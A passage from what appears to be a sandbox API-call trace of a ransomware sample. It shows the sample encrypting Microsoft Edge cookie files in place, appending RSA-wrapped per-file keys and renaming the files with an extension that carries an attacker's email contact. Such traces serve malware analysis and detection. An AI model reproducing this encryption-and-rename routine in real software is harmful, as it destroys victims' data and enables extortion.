pszString="MKTSghcn30JM9jdc+WL66T680Xq8yNs7vd2qkc9qKQGVbdCdR3z6hoqNoXSstrb/\niMeyeaalNAK5jRHfkW9vw0EU8XPRPkdg2BJYPVJ5A20a4ZvPOlWBXZ1OF1unlhcv\nuZFvdM/lCGM3IojbY0TU2AC+l0paVI1fFRccjAO/JvX5riKUHs9b++CNv4Z7R8if\nY1SWXdOavt+b8LuCJZBEX2q0nu3tQFH9B5wCuFWf37MraAwqPZV8up5HVxhEVDNs\n0WrJY1bb/SwtdBHEy6za5ZQNxKLb7yCAhtgszMjSY0fn2y1QSPg0PHwz2LtFksod\nc76ghgddVx08TALiLnTHjQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.937] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.937] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.937] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.937] CloseHandle (hObject=0x1bac) returned 1 [0300.938] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\O87TPGUC.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\o87tpguc.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\O87TPGUC.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\o87tpguc.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.940] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.940] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\NYUV1AKA.cookie", dwFileAttributes=0x80) returned 1 [0300.945] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\NYUV1AKA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\nyuv1aka.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.946] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=197) returned 1 [0300.946] ReadFile (in: hFile=0x1bac, lpBuffer=0x653290, nNumberOfBytesToRead=0xc5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x653290*, lpNumberOfBytesRead=0x2e3f9b4*=0xc5, lpOverlapped=0x0) returned 1 [0300.947] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-197, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.947] WriteFile (in: hFile=0x1bac, lpBuffer=0x6530f0*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6530f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc5, lpOverlapped=0x0) returned 1 [0300.947] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc5 [0300.947] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.947] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.948] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.948] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.948] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.948] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="weedX/aSe7k0HnXnS24HAe2Z7/Jlgj6ngaW0wloPjbB7y4X3gw1Q0Bc2+6k6JO/w\noyMsOyBHee/iRDavYj30P3R+iT8uU0UD/i54wo5W/E7A083ZOnaoekeeOz8gYpNb\napfiM6wR65s9DwI457pNIuothARA/H5ibFcbwK0cu/RZxNQlkj3Qaor27Q+lIojP\n2hXK473Zag0QFxd0Cp3sr1+fUOvDSdH4YWj30BATc6Yua3Cfvlhgn11pWMKAIxoY\nlFYOxveDq+AzWmCVa3bfBKAbJ1XDrWvcSlWF7bNr6K0ZKzee1qV/suWUuulku/fE\nYDMG37w5oxjMN1DmOaqdeA==\n", pcchString=0x2e3f9a8) returned 1 [0300.948] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.948] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.948] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.948] CloseHandle (hObject=0x1bac) returned 1 [0300.949] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\NYUV1AKA.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\nyuv1aka.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\NYUV1AKA.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\nyuv1aka.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.952] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.952] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\MRQZFTTG.cookie", dwFileAttributes=0x80) returned 1 [0300.952] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\MRQZFTTG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\mrqzfttg.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.953] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=363) returned 1 [0300.953] ReadFile (in: hFile=0x1bac, lpBuffer=0x5bf3d8, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bf3d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x16b, lpOverlapped=0x0) returned 1 [0300.954] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-363, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.954] WriteFile (in: hFile=0x1bac, lpBuffer=0x57eca8*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16b, lpOverlapped=0x0) returned 1 [0300.954] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16b [0300.954] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.955] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.955] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.955] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.955] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.955] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ql2A5+90BxkwmzN7BypcnrIb8NE62jxiljuZ4Tw8YaaN0yAWHLmxAZweE27w8A7/\n1bRmLIRO1AaRTBWkIjdbCp8zxXOM7JVJrS5z4eL8gZ+O2M4eKETFJLDYd8MtSFWP\nsy9EzgHd9hmX1+fXbjcZ0dt7ugJcraerdSl3DzxTJBOADv+LXyNXZkxRhEaID5IT\nVfdg6ILEyN6hQeFaLwY0fr1uZHDgOvI2DzkEZFaqtCoipYElgZ8/eRxLFzC4RiXC\nJpRSDbgEKCyLo5M31Kbcw/Y/15YPMeXpmqDF8MXuUSKLqeAouaNyjABTlsswR4+7\nGAyofRj5YAbfzolWX6vkgQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.955] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.956] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.956] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.956] CloseHandle (hObject=0x1bac) returned 1 [0300.956] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\MRQZFTTG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\mrqzfttg.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\MRQZFTTG.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\mrqzfttg.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.959] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.959] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\K95028HZ.cookie", dwFileAttributes=0x80) returned 1 [0300.960] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\K95028HZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\k95028hz.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.961] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=308) returned 1 [0300.961] ReadFile (in: hFile=0x1bac, lpBuffer=0x5bd3b8, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x134, lpOverlapped=0x0) returned 1 [0300.962] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.962] WriteFile (in: hFile=0x1bac, lpBuffer=0x5b3b90*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b3b90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x134, lpOverlapped=0x0) returned 1 [0300.962] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x134 [0300.962] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.962] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CwrBmCpNmpE+ZvxPqTFCXSeNyWfLnxkU6YgG8k2M1TrRzmS+MRrkj89OLe4IWQmp\n3Difs5I5/aVTCCDryySbRFwXcLYr5Jr5eJF+/BFS8+7MuejnYb5kPrmigkGyr/S6\n7Ffe0oPHrNd8kc0HgntAiKCQINsMHYXno1X6MErPjhG8ViMoH3XwjMb3lcoicd6b\nDw9HCIZGF5j8p72zTAp3cz+Kd6FwCHxFdFZuoDLpyypSY09kyCHvIZKpdUXdBSwh\nSyrKwQkV2d2+kwXQOPMvTsZdlDHRxIIhpPTrJ0sNivC1wBothI2rr9x88KMcG0ly\nwRFL7Z/CtEMqlytwG1HFIg==\n", pcchString=0x2e3f9a8) returned 1 [0300.963] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.964] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.964] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.964] CloseHandle (hObject=0x1bac) returned 1 [0300.964] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\K95028HZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\k95028hz.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\K95028HZ.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\k95028hz.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.968] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.968] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\container.dat", dwFileAttributes=0x80) returned 1 [0300.969] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0300.969] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.969] ReadFile (in: hFile=0x1bac, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.969] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.969] WriteFile (in: hFile=0x1bac, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.969] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.970] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.970] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.970] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.970] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.971] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.971] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TVToRCaf8uc83X39r1AqdFC7xStdNuN2o2sYPNSq1HOYbo8NOgFwOx/jMD/T0xDD\nNW4EdWPadxTZmE5c47FDHWW5jTS2TkKRkoyfa3Y9pEyAI/Nn8CwIz4zTCX0PHeD1\nE4a1jOn9zsm2W1KP7xCVV463ItmLuH9IdCzeLCIAxTL6lBtuYp/jLjV8EVgV/W/Y\n50VsfTV0aBRfIOylnHqezy32KvbuObPDE0wk1b7Naj+kzYodT3JIhv6t00smnyks\nv1ca18Jq4W2RBgsYvWGLZABDu1/d0hqXvyBdjW2NNLMJSM9zKUl8Jxmp5mMh5s+g\nRNcMLqh2+RZQKznVo82vNw==\n", pcchString=0x2e3f9a8) returned 1 [0300.971] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.971] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.971] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.971] CloseHandle (hObject=0x1bac) returned 1 [0300.971] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.973] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.973] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\AFIOGFFU.txt", dwFileAttributes=0x80) returned 1 [0301.028] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\AFIOGFFU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\afiogffu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0301.029] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=101) returned 1 [0301.029] ReadFile (in: hFile=0x1bac, lpBuffer=0x5a10c8, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x65, lpOverlapped=0x0) returned 1 [0301.030] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.030] WriteFile (in: hFile=0x1bac, lpBuffer=0x57e1d0*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x65, lpOverlapped=0x0) returned 1 [0301.030] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x65 [0301.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.030] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 